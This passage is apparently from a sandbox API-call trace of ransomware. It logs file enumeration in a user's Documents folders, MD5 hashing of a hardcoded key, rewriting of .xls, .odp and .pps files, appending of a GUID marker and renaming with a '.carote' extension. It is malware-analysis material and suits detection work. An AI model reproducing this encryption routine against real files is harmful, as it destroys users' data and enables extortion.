flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.760] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4fef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.760] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.762] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x5015, lpOverlapped=0x0) returned 1 [0112.762] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.762] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.762] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.762] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.763] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.763] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.763] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.763] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.763] GetLastError () returned 0x0 [0112.763] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.763] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.763] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5015, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.763] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.763] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.764] CloseHandle (hObject=0x61c) returned 1 [0112.764] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\a--g-.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\a--g-.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\a--g-.xls.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\a--g-.xls.carote")) returned 1 [0112.767] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21bcf20, ftCreationTime.dwHighDateTime=0x1d4c566, ftLastAccessTime.dwLowDateTime=0x5d1d8e90, ftLastAccessTime.dwHighDateTime=0x1d4c903, ftLastWriteTime.dwLowDateTime=0x5d1d8e90, ftLastWriteTime.dwHighDateTime=0x1d4c903, nFileSizeHigh=0x0, nFileSizeLow=0x38d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bVolNUdnBKCJzp4l.odp", cAlternateFileName="BVOLNU~1.ODP")) returned 1 [0112.767] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\bVolNUdnBKCJzp4l.odp") returned=".odp" [0112.767] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\bVolNUdnBKCJzp4l.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\bvolnudnbkcjzp4l.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.767] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=14545) returned 1 [0112.767] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.769] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x38ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.769] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.770] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x38d1, lpOverlapped=0x0) returned 1 [0112.771] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.771] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.771] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.771] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.772] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.772] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.772] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.772] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.772] GetLastError () returned 0x0 [0112.772] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.772] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.772] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x38d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.772] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.772] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.772] CloseHandle (hObject=0x61c) returned 1 [0112.773] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\bVolNUdnBKCJzp4l.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\bvolnudnbkcjzp4l.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\bVolNUdnBKCJzp4l.odp.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\bvolnudnbkcjzp4l.odp.carote")) returned 1 [0112.774] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x676967a0, ftCreationTime.dwHighDateTime=0x1d4ca81, ftLastAccessTime.dwLowDateTime=0x76c41830, ftLastAccessTime.dwHighDateTime=0x1d4d201, ftLastWriteTime.dwLowDateTime=0x76c41830, ftLastWriteTime.dwHighDateTime=0x1d4d201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LFwoVJrFDf", cAlternateFileName="LFWOVJ~1")) returned 1 [0112.774] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x676967a0, ftCreationTime.dwHighDateTime=0x1d4ca81, ftLastAccessTime.dwLowDateTime=0x76c41830, ftLastAccessTime.dwHighDateTime=0x1d4d201, ftLastWriteTime.dwLowDateTime=0x76c41830, ftLastWriteTime.dwHighDateTime=0x1d4d201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LFwoVJrFDf", cAlternateFileName="LFWOVJ~1")) returned 0 [0112.774] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.775] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.775] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.775] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zmTKLzB\\") returned="zmTKLzB\\" [0112.775] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0112.775] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.775] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.775] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.775] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.775] PathFindFileNameW (pszPath="") returned="" [0112.775] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.775] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zmTKLzB\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf47b160, ftCreationTime.dwHighDateTime=0x1d4d1a4, ftLastAccessTime.dwLowDateTime=0xf25400e0, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0xf25400e0, ftLastWriteTime.dwHighDateTime=0x1d4cf28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.775] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.775] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf47b160, ftCreationTime.dwHighDateTime=0x1d4d1a4, ftLastAccessTime.dwLowDateTime=0xf25400e0, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0xf25400e0, ftLastWriteTime.dwHighDateTime=0x1d4cf28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.775] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ddd7e00, ftCreationTime.dwHighDateTime=0x1d4d104, ftLastAccessTime.dwLowDateTime=0xfde36f70, ftLastAccessTime.dwHighDateTime=0x1d4c840, ftLastWriteTime.dwLowDateTime=0xfde36f70, ftLastWriteTime.dwHighDateTime=0x1d4c840, nFileSizeHigh=0x0, nFileSizeLow=0x88c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-qKyf.pps", cAlternateFileName="")) returned 1 [0112.775] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.775] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.775] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.775] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zmTKLzB\\-qKyf.pps") returned=".pps" [0112.775] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zmTKLzB\\-qKyf.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zmtklzb\\-qkyf.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.777] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=35010) returned 1 [0112.777] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.779] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x889c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.779] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.780] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.780] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.780] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.780] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x88c2, lpOverlapped=0x0) returned 1 [0112.781] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.781] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.781] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.781] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.781] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.782] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.782] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.782] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.782] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.782] GetLastError () returned 0x0 [0112.782] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.782] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x88c0) returned 0x7b182e0 [0112.782] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.782] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x88bd, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x88bd, lpOverlapped=0x0) returned 1 [0112.782] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.782] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x88c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.782] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.782] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.783] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.783] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.783] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.783] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.783] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.783] CloseHandle (hObject=0x61c) returned 1 [0112.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.784] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x890) returned 0x7b182e0 [0112.784] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.784] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zmTKLzB\\-qKyf.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zmtklzb\\-qkyf.pps"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zmTKLzB\\-qKyf.pps.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zmtklzb\\-qkyf.pps.carote")) returned 1 [0112.791] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.791] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.792] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb9e1f0, ftCreationTime.dwHighDateTime=0x1d4d56f, ftLastAccessTime.dwLowDateTime=0x14c8b8f0, ftLastAccessTime.dwHighDateTime=0x1d4d1bd, ftLastWriteTime.dwLowDateTime=0x14c8b8f0, ftLastWriteTime.dwHighDateTime=0x1d4d1bd, nFileSizeHigh=0x0, nFileSizeLow=0xc326, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9jgmDCVjOmsoi8li3M.odp", cAlternateFileName="9JGMDC~1.ODP")) returned 1 [0112.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.792] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa6) returned 0x79ab798 [0112.792] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.792] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zmTKLzB\\9jgmDCVjOmsoi8li3M.odp") returned=".odp" [0112.792] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zmTKLzB\\9jgmDCVjOmsoi8li3M.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zmtklzb\\9jgmdcvjomsoi8li3m.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.792] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=49958) returned 1 [0112.792] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.794] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc300, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.794] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.795] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.795] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.795] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.795] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xc326, lpOverlapped=0x0) returned 1 [0112.796] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.796] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.796] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.796] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.796] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecf90) returned 1 [0112.797] CryptCreateHash (in: hProv=0x50ecf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.797] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.797] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.797] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.797] GetLastError () returned 0x0 [0112.797] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.797] CryptReleaseContext (hProv=0x50ecf90, dwFlags=0x0) returned 1 [0112.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.797] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc330) returned 0x7b182e0 [0112.797] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.797] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.797] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0xc321, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0xc321, lpOverlapped=0x0) returned 1 [0112.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.798] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xc326, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b182e0 [0112.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b182e0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.798] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b18710 [0112.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c2b8 | out: hHeap=0x5010000) returned 1 [0112.798] WriteFile (in: hFile=0x61c, lpBuffer=0x7b18710*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b18710*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.798] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b18710 | out: hHeap=0x5010000) returned 1 [0112.798] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.798] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.798] CloseHandle (hObject=0x61c) returned 1 [0112.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0112.799] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8a0) returned 0x7b182e0 [0112.799] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f060 | out: hHeap=0x5010000) returned 1 [0112.799] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 